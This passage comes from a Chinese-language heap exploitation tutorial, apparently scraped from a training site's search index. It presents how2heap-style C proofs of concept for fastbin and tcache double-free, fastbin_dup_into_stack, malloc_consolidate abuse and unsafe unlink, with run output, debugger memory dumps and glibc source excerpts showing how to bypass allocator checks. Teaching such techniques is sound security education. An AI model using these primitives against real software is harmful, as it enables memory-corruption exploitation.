\u6240\u4ee5\u5bf9\u4e8e fastbins\uff0c\u53ef\u4ee5\u901a\u8fc7 double-free \u6cc4\u6f0f\u51fa\u4e00\u4e2a\u5806\u5757\u7684\u6307\u9488\u3002
\u52a0\u4e0a\u5185\u5b58\u68c0\u6d4b\u53c2\u6570\u91cd\u65b0\u7f16\u8bd1\uff1a
$ gcc -fsanitize=address -g fastbin_dup.c\n$ ./a.out\nAllocating 3 buffers.\n1st malloc(9) 0x60200000eff0 points to AAAAAAAA\n2nd malloc(9) 0x60200000efd0 points to BBBBBBBB\n3rd malloc(9) 0x60200000efb0 points to CCCCCCCC\nFreeing the first one 0x60200000eff0.\nThen freeing another one 0x60200000efd0.\nFreeing the first one 0x60200000eff0 again.\n=================================================================\n==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:\n #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)\n #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22\n #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)\n\n0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)\nfreed by thread T0 here:\n #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)\n #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18\n #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n\npreviously allocated by thread T0 here:\n #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)\n #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7\n #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n
\u4e00\u4e2a\u5f88\u660e\u663e\u7684 double-free \u6f0f\u6d1e\u3002\u5173\u4e8e\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u8be6\u7ec6\u5229\u7528\u8fc7\u7a0b\uff0c\u6211\u4eec\u4f1a\u5728\u540e\u9762\u7684\u7ae0\u8282\u91cc\u518d\u8bb2\u3002
\u770b\u4e00\u70b9\u65b0\u9c9c\u7684\uff0c\u5728 libc-2.26 \u4e2d\uff0c\u5373\u4f7f\u4e24\u6b21 free\uff0c\u4e5f\u5e76\u6ca1\u6709\u89e6\u53d1 double-free \u7684\u5f02\u5e38\u68c0\u6d4b\uff0c\u8fd9\u4e0e tcache \u673a\u5236\u6709\u5173\uff0c\u4ee5\u540e\u4f1a\u8be6\u7ec6\u8bb2\u8ff0\u3002\u8fd9\u91cc\u5148\u770b\u4e2a\u80fd\u591f\u5728\u8be5\u7248\u672c\u4e0b\u89e6\u53d1 double-free \u7684\u4f8b\u5b50\uff1a
#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n int i;\n\n void *p = malloc(0x40);\n fprintf(stderr, \"First allocate a fastbin: p=%p\\n\", p);\n\n fprintf(stderr, \"Then free(p) 7 times\\n\");\n for (i = 0; i < 7; i++) {\n fprintf(stderr, \"free %d: %p => %p\\n\", i+1, &p, p);\n free(p);\n }\n\n fprintf(stderr, \"Then malloc 8 times at the same address\\n\");\n int *a[10];\n for (i = 0; i < 8; i++) {\n a[i] = malloc(0x40);\n fprintf(stderr, \"malloc %d: %p => %p\\n\", i+1, &a[i], a[i]);\n }\n\n fprintf(stderr, \"Finally trigger double-free\\n\");\n for (i = 0; i < 2; i++) {\n fprintf(stderr, \"free %d: %p => %p\\n\", i+1, &a[i], a[i]);\n free(a[i]);\n }\n}\n$ gcc -g tcache_double-free.c\n$ ./a.out\nFirst allocate a fastbin: p=0x559e30950260\nThen free(p) 7 times\nfree 1: 0x7ffc498b2958 => 0x559e30950260\nfree 2: 0x7ffc498b2958 => 0x559e30950260\nfree 3: 0x7ffc498b2958 => 0x559e30950260\nfree 4: 0x7ffc498b2958 => 0x559e30950260\nfree 5: 0x7ffc498b2958 => 0x559e30950260\nfree 6: 0x7ffc498b2958 => 0x559e30950260\nfree 7: 0x7ffc498b2958 => 0x559e30950260\nThen malloc 8 times at the same address\nmalloc 1: 0x7ffc498b2960 => 0x559e30950260\nmalloc 2: 0x7ffc498b2968 => 0x559e30950260\nmalloc 3: 0x7ffc498b2970 => 0x559e30950260\nmalloc 4: 0x7ffc498b2978 => 0x559e30950260\nmalloc 5: 0x7ffc498b2980 => 0x559e30950260\nmalloc 6: 0x7ffc498b2988 => 0x559e30950260\nmalloc 7: 0x7ffc498b2990 => 0x559e30950260\nmalloc 8: 0x7ffc498b2998 => 0x559e30950260\nFinally trigger double-free\nfree 1: 0x7ffc498b2960 => 0x559e30950260\nfree 2: 0x7ffc498b2968 => 0x559e30950260\ndouble free or corruption (fasttop)\n[2] 1244 abort (core dumped) ./a.out\n
"},{"location":"Training/Material/Binary%20Exploitation/#fastbin_dup_into_stack","title":"fastbin_dup_into_stack","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main() {\n unsigned long long stack_var = 0x21;\n fprintf(stderr, \"Allocating 3 buffers.\\n\");\n char *a = malloc(9);\n char *b = malloc(9);\n char *c = malloc(9);\n strcpy(a, \"AAAAAAAA\");\n strcpy(b, \"BBBBBBBB\");\n strcpy(c, \"CCCCCCCC\");\n fprintf(stderr, \"1st malloc(9) %p points to %s\\n\", a, a);\n fprintf(stderr, \"2nd malloc(9) %p points to %s\\n\", b, b);\n fprintf(stderr, \"3rd malloc(9) %p points to %s\\n\", c, c);\n\n fprintf(stderr, \"Freeing the first one %p.\\n\", a);\n free(a);\n fprintf(stderr, \"Then freeing another one %p.\\n\", b);\n free(b);\n fprintf(stderr, \"Freeing the first one %p again.\\n\", a);\n free(a);\n\n fprintf(stderr, \"Allocating 4 buffers.\\n\");\n unsigned long long *d = malloc(9);\n *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));\n fprintf(stderr, \"4nd malloc(9) %p points to %p\\n\", d, &d);\n char *e = malloc(9);\n strcpy(e, \"EEEEEEEE\");\n fprintf(stderr, \"5nd malloc(9) %p points to %s\\n\", e, e);\n char *f = malloc(9);\n strcpy(f, \"FFFFFFFF\");\n fprintf(stderr, \"6rd malloc(9) %p points to %s\\n\", f, f);\n char *g = malloc(9);\n strcpy(g, \"GGGGGGGG\");\n fprintf(stderr, \"7th malloc(9) %p points to %s\\n\", g, g);\n}\n$ gcc -g fastbin_dup_into_stack.c\n$ ./a.out\nAllocating 3 buffers.\n1st malloc(9) 0xcf2010 points to AAAAAAAA\n2nd malloc(9) 0xcf2030 points to BBBBBBBB\n3rd malloc(9) 0xcf2050 points to CCCCCCCC\nFreeing the first one 0xcf2010.\nThen freeing another one 0xcf2030.\nFreeing the first one 0xcf2010 again.\nAllocating 4 buffers.\n4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0\n5nd malloc(9) 0xcf2030 points to EEEEEEEE\n6rd malloc(9) 0xcf2010 points to FFFFFFFF\n7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG\n
\u8fd9\u4e2a\u7a0b\u5e8f\u5c55\u793a\u4e86\u600e\u6837\u901a\u8fc7\u4fee\u6539 fd \u6307\u9488\uff0c\u5c06\u5176\u6307\u5411\u4e00\u4e2a\u4f2a\u9020\u7684 free chunk\uff0c\u5728\u4f2a\u9020\u7684\u5730\u5740\u5904 malloc \u51fa\u4e00\u4e2a chunk\u3002\u8be5\u7a0b\u5e8f\u5927\u90e8\u5206\u5185\u5bb9\u90fd\u548c\u4e0a\u4e00\u4e2a\u7a0b\u5e8f\u4e00\u6837\uff0c\u6f0f\u6d1e\u4e5f\u540c\u6837\u662f double-free\uff0c\u53ea\u6709\u7ed9 fd \u586b\u5145\u7684\u5185\u5bb9\u4e0d\u4e00\u6837\u3002
\u4e09\u4e2a malloc \u4e4b\u540e\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x602010: 0x4141414141414141 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk\n0x602070: 0x0000000000000000\n
\u4e09\u4e2a free \u4e4b\u540e\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice]\n0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]\n0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) \u2192 [loop detected]\n
\u8fd9\u4e00\u6b21 malloc \u4e4b\u540e\uff0c\u6211\u4eec\u4e0d\u518d\u586b\u5145\u65e0\u610f\u4e49\u7684 \"DDDDDDDD\"\uff0c\u800c\u662f\u586b\u5145\u4e00\u4e2a\u5730\u5740\uff0c\u5373\u6808\u5730\u5740\u51cf\u53bb 0x8\uff0c\u4ece\u800c\u5728\u6808\u4e0a\u4f2a\u9020\u51fa\u4e00\u4e2a free \u7684 chunk\uff08\u5f53\u7136\u4e5f\u53ef\u4ee5\u662f\u5176\u4ed6\u7684\u5730\u5740\uff09\u3002\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48 stack_var
\u88ab\u6211\u4eec\u8bbe\u7f6e\u4e3a 0x21
\uff08\u62160x20
\u90fd\u53ef\u4ee5\uff09\uff0c\u5176\u5b9e\u662f\u4e3a\u4e86\u5728\u6808\u5730\u5740\u51cf\u53bb 0x8 \u7684\u65f6\u5019\u4f5c\u4e3a fake chunk \u7684 size \u5b57\u6bb5\u3002
glibc \u5728\u6267\u884c\u5206\u914d\u64cd\u4f5c\u65f6\uff0c\u82e5\u5757\u7684\u5927\u5c0f\u7b26\u5408 fast bin\uff0c\u5219\u4f1a\u5728\u5bf9\u5e94\u7684 bin \u4e2d\u5bfb\u627e\u5408\u9002\u7684\u5757\uff0c\u6b64\u65f6 glibc \u5c06\u6839\u636e\u5019\u9009\u5757\u7684 size \u5b57\u6bb5\u8ba1\u7b97\u51fa fastbin \u7d22\u5f15\uff0c\u7136\u540e\u4e0e\u5bf9\u5e94 bin \u5728 fastbin \u4e2d\u7684\u7d22\u5f15\u8fdb\u884c\u6bd4\u8f83\uff0c\u5982\u679c\u4e8c\u8005\u4e0d\u5339\u914d\uff0c\u5219\u8bf4\u660e\u5757\u7684 size \u5b57\u6bb5\u906d\u5230\u7834\u574f\u3002\u6240\u4ee5\u9700\u8981 fake chunk \u7684 size \u5b57\u6bb5\u88ab\u8bbe\u7f6e\u4e3a\u6b63\u786e\u7684\u503c\u3002
/* offset 2 to use otherwise unindexable first 2 bins */\n#define fastbin_index(sz) \\\n ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)\n\n if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))\n {\n idx = fastbin_index (nb);\n [...]\n\n if (victim != 0)\n {\n if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))\n {\n errstr = \"malloc(): memory corruption (fast)\";\n [...]\n }\n [...]\n }\n }\n
\u7b80\u5355\u5730\u8bf4\u5c31\u662f fake chunk \u7684 size \u4e0e double-free \u7684 chunk \u7684 size \u76f8\u540c\u5373\u53ef\u3002
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d\n0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]\n0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\ngef\u27a4 p &stack_var\n$4 = (unsigned long long *) 0x7fffffffdc38\ngef\u27a4 x/5gx 0x7fffffffdc38-0x8\n0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed]\n0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer\n0x7fffffffdc50: 0x0000000000602030\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]\n
\u53ef\u4ee5\u770b\u5230\uff0c\u4f2a\u9020\u7684 chunk \u5df2\u7ecf\u7531\u6307\u9488\u94fe\u63a5\u5230 fastbins \u4e0a\u4e86\u3002\u4e4b\u540e malloc \u4e24\u6b21\uff0c\u5373\u53ef\u5c06\u4f2a\u9020\u7684 chunk \u79fb\u52a8\u5230\u94fe\u8868\u5934\u90e8\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021\n0x602010: 0x4646464646464646 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021\n0x602030: 0x4545454545454545 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000021\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]\n
\u518d\u6b21 malloc\uff0c\u5373\u53ef\u5728 fake chunk \u5904\u5206\u914d\u5185\u5b58\uff1a
gef\u27a4 x/5gx 0x7fffffffdc38-0x8\n0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk\n0x7fffffffdc40: 0x4747474747474747 0x0000000000602000\n0x7fffffffdc50: 0x0000000000602030\n
\u6240\u4ee5\u5bf9\u4e8e fastbins\uff0c\u53ef\u4ee5\u901a\u8fc7 double-free \u8986\u76d6 fastbins \u7684\u7ed3\u6784\uff0c\u6765\u83b7\u5f97\u4e00\u4e2a\u6307\u5411\u4efb\u610f\u5730\u5740\u7684\u6307\u9488\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#fastbin_dup_consolidate","title":"fastbin_dup_consolidate","text":"#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main() {\n void *p1 = malloc(0x10);\n void *p2 = malloc(0x10);\n strcpy(p1, \"AAAAAAAA\");\n strcpy(p2, \"BBBBBBBB\");\n fprintf(stderr, \"Allocated two fastbins: p1=%p p2=%p\\n\", p1, p2);\n\n fprintf(stderr, \"Now free p1!\\n\");\n free(p1);\n\n void *p3 = malloc(0x400);\n fprintf(stderr, \"Allocated large bin to trigger malloc_consolidate(): p3=%p\\n\", p3);\n fprintf(stderr, \"In malloc_consolidate(), p1 is moved to the unsorted bin.\\n\");\n\n free(p1);\n fprintf(stderr, \"Trigger the double free vulnerability!\\n\");\n fprintf(stderr, \"We can pass the check in malloc() since p1 is not fast top.\\n\");\n\n void *p4 = malloc(0x10);\n strcpy(p4, \"CCCCCCC\");\n void *p5 = malloc(0x10);\n strcpy(p5, \"DDDDDDDD\");\n fprintf(stderr, \"Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\\n\", p4, p5);\n}\n$ gcc -g fastbin_dup_consolidate.c\n$ ./a.out\nAllocated two fastbins: p1=0x17c4010 p2=0x17c4030\nNow free p1!\nAllocated large bin to trigger malloc_consolidate(): p3=0x17c4050\nIn malloc_consolidate(), p1 is moved to the unsorted bin.\nTrigger the double free vulnerability!\nWe can pass the check in malloc() since p1 is not fast top.\nNow p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010\n
\u8fd9\u4e2a\u7a0b\u5e8f\u5c55\u793a\u4e86\u5229\u7528\u5728 large bin \u7684\u5206\u914d\u4e2d malloc_consolidate \u673a\u5236\u7ed5\u8fc7 fastbin \u5bf9 double free \u7684\u68c0\u67e5\uff0c\u8fd9\u4e2a\u68c0\u67e5\u5728 fastbin_dup \u4e2d\u5df2\u7ecf\u5c55\u793a\u8fc7\u4e86\uff0c\u53ea\u4e0d\u8fc7\u5b83\u5229\u7528\u7684\u662f\u5728\u4e24\u6b21 free \u4e2d\u95f4\u63d2\u5165\u4e00\u6b21\u5bf9\u5176\u5b83 chunk \u7684 free\u3002
\u9996\u5148\u5206\u914d\u4e24\u4e2a fast chunk\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1\n0x602010: 0x4141414141414141 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000\n
\u91ca\u653e\u6389 p1\uff0c\u5219\u7a7a\u95f2 chunk \u52a0\u5165\u5230 fastbins \u4e2d\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]\n0x602010: 0x0000000000000000 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\n
\u6b64\u65f6\u5982\u679c\u6211\u4eec\u518d\u6b21\u91ca\u653e p1\uff0c\u5fc5\u7136\u89e6\u53d1 double free \u5f02\u5e38\uff0c\u7136\u800c\uff0c\u5982\u679c\u6b64\u65f6\u5206\u914d\u4e00\u4e2a large chunk\uff0c\u6548\u679c\u5982\u4e0b\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]\n0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer\n0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] 0x00\ngef\u27a4 heap bins small\n[ Small Bins for arena 'main_arena' ]\n[+] small_bins[1]: fw=0x602000, bk=0x602000\n \u2192 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\n[+] Found 1 chunks in 1 small non-empty bins.\n
\u53ef\u4ee5\u770b\u5230 fastbins \u4e2d\u7684 chunk \u5df2\u7ecf\u4e0d\u89c1\u4e86\uff0c\u53cd\u800c\u51fa\u73b0\u5728\u4e86 small bins \u4e2d\uff0c\u5e76\u4e14 chunk p2 \u7684 prev_size \u548c size \u5b57\u6bb5\u90fd\u88ab\u4fee\u6539\u3002
\u770b\u4e00\u4e0b large chunk \u7684\u5206\u914d\u8fc7\u7a0b\uff1a
/*\n If this is a large request, consolidate fastbins before continuing.\n While it might look excessive to kill all fastbins before\n even seeing if there is space available, this avoids\n fragmentation problems normally associated with fastbins.\n Also, in practice, programs tend to have runs of either small or\n large requests, but less often mixtures, so consolidation is not\n invoked all that often in most programs. And the programs that\n it is called frequently in otherwise tend to fragment.\n */\n\n else\n {\n idx = largebin_index (nb);\n if (have_fastchunks (av))\n malloc_consolidate (av);\n }\n
\u5f53\u5206\u914d large chunk \u65f6\uff0c\u9996\u5148\u6839\u636e chunk \u7684\u5927\u5c0f\u83b7\u5f97\u5bf9\u5e94\u7684 large bin \u7684 index\uff0c\u63a5\u7740\u5224\u65ad\u5f53\u524d\u5206\u914d\u533a\u7684 fast bins \u4e2d\u662f\u5426\u5305\u542b chunk\uff0c\u5982\u679c\u6709\uff0c\u8c03\u7528 malloc_consolidate() \u51fd\u6570\u5408\u5e76 fast bins \u4e2d\u7684 chunk\uff0c\u5e76\u5c06\u8fd9\u4e9b\u7a7a\u95f2 chunk \u52a0\u5165 unsorted bin \u4e2d\u3002\u56e0\u4e3a\u8fd9\u91cc\u5206\u914d\u7684\u662f\u4e00\u4e2a large chunk\uff0c\u6240\u4ee5 unsorted bin \u4e2d\u7684 chunk \u6309\u7167\u5927\u5c0f\u88ab\u653e\u56de small bins \u6216 large bins \u4e2d\u3002
\u7531\u4e8e\u6b64\u65f6 p1 \u5df2\u7ecf\u4e0d\u5728 fastbins \u7684\u9876\u90e8\uff0c\u53ef\u4ee5\u518d\u6b21\u91ca\u653e p1\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed]\n0x602010: 0x0000000000000000 0x00007ffff7dd1b88\n0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\ngef\u27a4 heap bins small\n[ Small Bins for arena 'main_arena' ]\n[+] small_bins[1]: fw=0x602000, bk=0x602000\n \u2192 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\n[+] Found 1 chunks in 1 small non-empty bins.\n
p1 \u88ab\u518d\u6b21\u653e\u5165 fastbins\uff0c\u4e8e\u662f p1 \u540c\u65f6\u5b58\u5728\u4e8e fabins \u548c small bins \u4e2d\u3002
\u7b2c\u4e00\u6b21 malloc\uff0cchunk \u5c06\u4ece fastbins \u4e2d\u53d6\u51fa\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4\n0x602010: 0x0043434343434343 0x00007ffff7dd1b88\n0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] 0x00\ngef\u27a4 heap bins small\n[ Small Bins for arena 'main_arena' ]\n[+] small_bins[1]: fw=0x602000, bk=0x602000\n \u2192 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\n[+] Found 1 chunks in 1 small non-empty bins.\n
\u7b2c\u4e8c\u6b21 malloc\uff0cchunk \u4ece small bins \u4e2d\u53d6\u51fa\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5\n0x602010: 0x4444444444444444 0x00007ffff7dd1b00\n0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000\n
chunk p4 \u548c p5 \u5728\u540c\u4e00\u4f4d\u7f6e\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#unsafe_unlink","title":"unsafe_unlink","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\nuint64_t *chunk0_ptr;\n\nint main() {\n int malloc_size = 0x80; // not fastbins\n int header_size = 2;\n\n chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1\n fprintf(stderr, \"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n fprintf(stderr, \"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n // pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n fprintf(stderr, \"Fake chunk fd: %p\\n\", (void*) chunk0_ptr[2]);\n fprintf(stderr, \"Fake chunk bk: %p\\n\\n\", (void*) chunk0_ptr[3]);\n // pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n // chunk0_ptr[1] = 0x0; // or 0x8, 0x80\n\n uint64_t *chunk1_hdr = chunk1_ptr - header_size;\n chunk1_hdr[0] = malloc_size;\n chunk1_hdr[1] &= ~1;\n\n // deal with tcache\n // int *a[10];\n // int i;\n // for (i = 0; i < 7; i++) {\n // a[i] = malloc(0x80);\n // }\n // for (i = 0; i < 7; i++) {\n // free(a[i]);\n // }\n free(chunk1_ptr);\n\n char victim_string[9];\n strcpy(victim_string, \"AAAAAAAA\");\n chunk0_ptr[3] = (uint64_t) victim_string;\n fprintf(stderr, \"Original value: %s\\n\", victim_string);\n\n chunk0_ptr[0] = 0x4242424242424242LL;\n fprintf(stderr, \"New Value: %s\\n\", victim_string);\n}\n$ gcc -g unsafe_unlink.c\n$ ./a.out\nThe global chunk0_ptr is at 0x601070, pointing to 0x721010\nThe victim chunk we are going to corrupt is at 0x7210a0\n\nFake chunk fd: 0x601058\nFake chunk bk: 0x601060\n\nOriginal value: AAAAAAAA\nNew Value: BBBBBBBB\n
\u8fd9\u4e2a\u7a0b\u5e8f\u5c55\u793a\u4e86\u600e\u6837\u5229\u7528 free \u6539\u5199\u5168\u5c40\u6307\u9488 chunk0_ptr \u8fbe\u5230\u4efb\u610f\u5185\u5b58\u5199\u7684\u76ee\u7684\uff0c\u5373 unsafe unlink\u3002\u8be5\u6280\u672f\u6700\u5e38\u89c1\u7684\u5229\u7528\u573a\u666f\u662f\u6211\u4eec\u6709\u4e00\u4e2a\u53ef\u4ee5\u6ea2\u51fa\u6f0f\u6d1e\u548c\u4e00\u4e2a\u5168\u5c40\u6307\u9488\u3002
Ubuntu16.04 \u4f7f\u7528 libc-2.23\uff0c\u5176\u4e2d unlink \u5b9e\u73b0\u7684\u4ee3\u7801\u5982\u4e0b\uff0c\u5176\u4e2d\u6709\u4e00\u4e9b\u5bf9\u524d\u540e\u5806\u5757\u7684\u68c0\u67e5\uff0c\u4e5f\u662f\u6211\u4eec\u9700\u8981\u7ed5\u8fc7\u7684\uff1a
/* Take a chunk off a bin list */\n#define unlink(AV, P, BK, FD) { \\\n FD = P->fd; \\\n BK = P->bk; \\\n if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \\\n malloc_printerr (check_action, \"corrupted double-linked list\", P, AV); \\\n else { \\\n FD->bk = BK; \\\n BK->fd = FD; \\\n if (!in_smallbin_range (P->size) \\\n && __builtin_expect (P->fd_nextsize != NULL, 0)) { \\\n if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \\\n || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \\\n malloc_printerr (check_action, \\\n \"corrupted double-linked list (not small)\", \\\n P, AV); \\\n if (FD->fd_nextsize == NULL) { \\\n if (P->fd_nextsize == P) \\\n FD->fd_nextsize = FD->bk_nextsize = FD; \\\n else { \\\n FD->fd_nextsize = P->fd_nextsize; \\\n FD->bk_nextsize = P->bk_nextsize; \\\n P->fd_nextsize->bk_nextsize = FD; \\\n P->bk_nextsize->fd_nextsize = FD; \\\n } \\\n } else { \\\n P->fd_nextsize->bk_nextsize = P->bk_nextsize; \\\n P->bk_nextsize->fd_nextsize = P->fd_nextsize; \\\n } \\\n } \\\n } \\\n}\n
